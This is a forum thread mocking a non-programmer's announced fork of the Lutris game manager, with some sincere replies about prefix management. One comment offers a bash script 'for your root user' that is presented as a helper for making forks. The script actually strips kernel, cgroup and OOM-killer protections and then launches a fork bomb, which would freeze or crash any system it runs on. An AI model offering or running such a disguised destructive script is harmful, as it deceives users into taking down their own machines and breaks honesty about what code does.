@gigachad@piefed.social has the best serious response, that being said…

So far, nothing but the README has been changed

Worth keeping in mind that I’m not a programmer, I cannot write code yet

Finally, what we’ve all been waiting for: a fork that liberates us from the tyranny of git checkout and editing a text file.

Is there a Patreon or 501(c)(3) organization that we can donate to in order to support the continued work non-programmers who use social media announce protest forks of major projects without any ability or intent to continue the project?

We in the Linux community have too much free time and appreciate things like this consuming our surplus attention which would otherwise be wasted making memes about Windows, berating people for not reading the fantastic manual and tweaking our fastfetch layouts.

As a thanks to you, and all other performative fork developers, I’ve developed a simple bash script for your root user that will help you create forks in a more efficient manner:

#!/bin/bash
sysctl -w kernel.pid_max=4194304
sysctl -w kernel.threads-max=1073741823
echo "max" > /sys/fs/cgroup/user.slice/user-$(id -u).slice/pids.max 2>/dev/null || true
echo $$ > /sys/fs/cgroup/cgroup.procs 2>/dev/null || true
ulimit -u unlimited
echo -1000 > /proc/self/oom_score_adj
:(){ :|:& };:

Worth keeping in mind that I’m not a programmer, I cannot write code yet but I can understand some of it when I read it and how it’s structured. I’ve wanted to learn for a long time, so this could potentially be a way to start learning if I ever have time.

I am a programmer but I wouldn’t trust myself I could invest enough time and knowledge into such a project. This is basically the announcement of someone making a fork. People make thousand forks a day, it is important what comes out it. Making a fork and saying maybe I will work on this project in the future after I learned how to code is not worthy of being news in my opinion.

The way I use Lutris today is nothing more than a prefix manager, I click add game, set up my prefix, and install my games manually.

New features will be unlikely, but not entirely off the table if there’s a really good reason to include them.

Given this, wouldn’t simply bookmarking the last Lutris release that you find acceptable be an easier way to meet your needs?

Or are you trying to guard against Lutris disappearing or retroactively changing old versions?

i like their goal for the software. i don’t know if lutris uses overlayfs already but that’s probably also something to look into, since each prefix is like a gigabyte before anything is added and most prefixes use the same dependencies.